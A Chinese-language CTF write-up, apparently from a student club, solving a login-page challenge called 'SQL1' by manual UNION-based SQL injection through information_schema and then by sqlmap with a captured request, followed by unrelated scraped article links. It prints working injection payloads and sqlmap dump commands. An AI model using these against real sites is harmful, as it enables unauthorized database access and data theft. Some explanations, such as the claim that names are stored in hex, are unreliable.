SQL1
这是社团的题目,我现在就写出来吧,总共两种方法,一种手注,一种用工具(sqlmap).
一、手注(盲注)
1,我们打开题目,可以看到一个登陆页面,这是我们在输入框里面输入万能密码: ' and '1'=' ,然后我们在密码框输入 ' and '1'='1' union select 1,group_concat(schema_name),3 from information_schema.schemata# ,

这里上面的输入框是and,是为了让上面的报错,下面的输入框是and,是为了union后面的语句成功执行。这里我们是先爆出来数据库,可以看到如图所示的源码(这里看源码的时候千万不要点确认,要用Ctrl+u来看)。


2,这时我们爆出了数据库,下面我们爆表,我们在上面的输入框输入 ' and '1'='1 ,在下面输入' and '1'='1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# ,"database()表示当前的数据库"

3,爆出来了表,看到flag,是不是很激动,嘿嘿,接下来我们爆字段,
上面的输入框输入' and '1'='1 ,下面的输入框输入' and '1'='1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666C6167# ,这里的 0x666C6167 是flag的十六进制编码,因为在数据库里面,数据库和表和字段都是以十六进制储存的。

4,上面的输入框输入' and '1'='1 ,下面的输入框输入 ' and '1'='1' union select 1,group_concat(id,0x7e,flag),3 from flag# ,这里我们就可以看到flag了。

5,现在是不是感觉很简单啊,至此我的工作完成,你们的工作还得继续。任重而道远!
二、工具(sqlmap)
1,打开登录页面,在输入框里面里面随便输入数字,然后抓包(这里用burp suite抓包,没有这个工具的可以找我)得到数据,如下面的图所示。

2,把图中的数据复制下来,在sqlmap目录下面新建一个1.txt,文件,把复制的数据放1.txt文件里面,
然后打开sqlmap,输入sqlmap.py -r 1.txt --dbs ,如下图所示

3,得到下面数据。

4,得到库,接下来输入 sqlmap.py -r 1.txt -D web --tables ,这里也可以输入sqlmap.py -r 1.txt --tables -D web,结果都是一样的,
----爆表----。

5,得到表,下面爆字段,输入sqlmap.py -r 1.txt -D web -table flag --columns或者sqlmap.py -r 1.txt --columns -table flag -D web

6,下面就爆内容了,输入sqlmap.py -r 1.txt -D web -T flag -C flag --dump 或者输入sqlmap.py -r 1.txt --dump -D web -T flag -C flag 结果如图所示

7,在你们joker学长的帮助下(到用的他的图),终于完成了。(注:上面那些表,可以不用双引号的)。
SQL1的更多相关文章
- Spark SQL1.2测试
Spark SQL 1.2 运行原理 case class方式 json文件方式 背景:了解到HDP也能够支持Spark SQL,但官方文档是版本1.2,希望支持传统数据库.hadoop平台.文本格式 ...
- Spark SQL1.2与HDP2.2结合
1.hbase相同的rowkey里存在多条记录问题的调研解决方案 VERSIONS => 3,Hbase version 最多插入三条记录 将一个集群hbase中表 "Vertical ...
- oracle常用高级sql---1
Oracle/Sql高级篇 1.TOP 子句 TOP 子句用于规定要返回的记录的数目. 对于拥有数千条记录的大型表来说,TOP 子句是非常有用的. SELECT TOP number|percen ...
- 动态SQL1
If标签 动态SQL可以说是MyBatis最强大之处了,这块的应用主要有四个方面if,choose,trim和foreach,接下来先说说if. 顾名思义,if是用来判断条件的,现在假设我们有个需求, ...
- 2015-10-19 sql1
SQL SERVER(一) 一.设置登陆验证 1.右键点击数据库->属性->安全性设置密码登陆 2.数据库下找到安全性->登录名->sa,右键点击sa->属性(修 ...
- SQL-1 选取表中某一属性最大值的所有信息 查找最晚入职员工的所有信息
题目描述 查找最晚入职员工的所有信息CREATE TABLE `employees` (`emp_no` int(11) NOT NULL,`birth_date` date NOT NULL,`fi ...
- SQL1:基础
1.SQL命令类型: 1)DDL:CREATE TABLE/INDEX/VIEW ; ALTER TABLE/INDEX/VIEW ; DROP TABLE/INDEX 2)DML:INSERT,UP ...
- mybatis-动态sql1
在多条件查询的情况下必须用到动态sql 沿用之前的项目 1.在dao中添加多添件查询方法 package com.java1234.mappers; import java.util.List;imp ...
- MySQL知识篇-SQL1
1 SQL是什么? 答:是结构话语言,是一种操作关系型数据库的语言. 2 SQL语言分类? SQL语言 说明 举例 DDL 数据定义语言 create drop DML 数据操作语言 insert ...
随机推荐
- 从源码看 angular/material2 中 dialog模块 的实现
本文将探讨material2中popup弹窗即其Dialog模块的实现. 使用方法 引入弹窗模块 自己准备作为模板的弹窗内容组件 在需要使用的组件内注入 MatDialog 服务 调用 open 方法 ...
- 干了这杯Java之LinkedList
LinkedList和ArrayList一样实现了List接口 ArrayList内部为数组 LinkedList内外为双向链表 实现了Deque接口,双端列队的实现 图片来自Wiki 内部实现为No ...
- JQuery自定义插件详解之Banner图滚动插件
前 言 JRedu JQuery是什么相信已经不需要详细介绍了.作为时下最火的JS库之一,JQuery将其"Write Less,Do More!"的口号发挥的极致.而帮助J ...
- WPF DelegateCommand 出现Specified cast is not valid
使用 DelegateCommand 出现 Specified cast is not valid 最近写快捷键需要 DelegateCommand ,于是用了 DelegateCommand< ...
- 【装逼利器效率软件】一张图问你想不想用Launchy
简述:Launchy博客园很多文章,长篇大论文字太多. 一张图问你想不想用? 长话多说: 一.设置Launchy扫描目录,安装后会默认,个人推荐自定义目录比较好 二.自行建立快捷方式别名文件夹,存放各 ...
- dotweb框架之旅 [四] - 常用对象-HttpContext
dotweb属于一个Web框架,希望通过框架行为,帮助开发人员快速构建Web应用,提升开发效率,减少不必要的代码臃肿. dotweb包含以下几个常用对象: App(dotweb) App容器,为Web ...
- BZOJ-3709-[PA2014]Bohater(贪心)
Description 在一款电脑游戏中,你需要打败n只怪物(从1到n编号).为了打败第i只怪物,你需要消耗d[i]点生命值,但怪物死后会掉落血药,使你恢复a[i]点生命值.任何时候你的生命值都不能降 ...
- (转)Java开发中的23种设计模式详解
原文出自:http://blog.csdn.net/zhangerqing 一.设计模式的分类 总体来说设计模式分为三大类: 创建型模式,共五种:工厂方法模式.抽象工厂模式.单例模式.建造者模式.原型 ...
- 使用phpexcel类读写excel文件
使用原生php读写excel文件的博文地址: 基于使用原生php读写excel文件的不靠谱,本文将简单介绍如何使用第三方类库phpexcel来读写excel文件. 首先,需要到githut下载phpe ...
- eval函数的坑
开发工作中遇到这样一种情形,需要执行用户输入的php代码串,于是决定使用eval函数.coding大概示例如下: function getStr($str) { return strlen($str) ...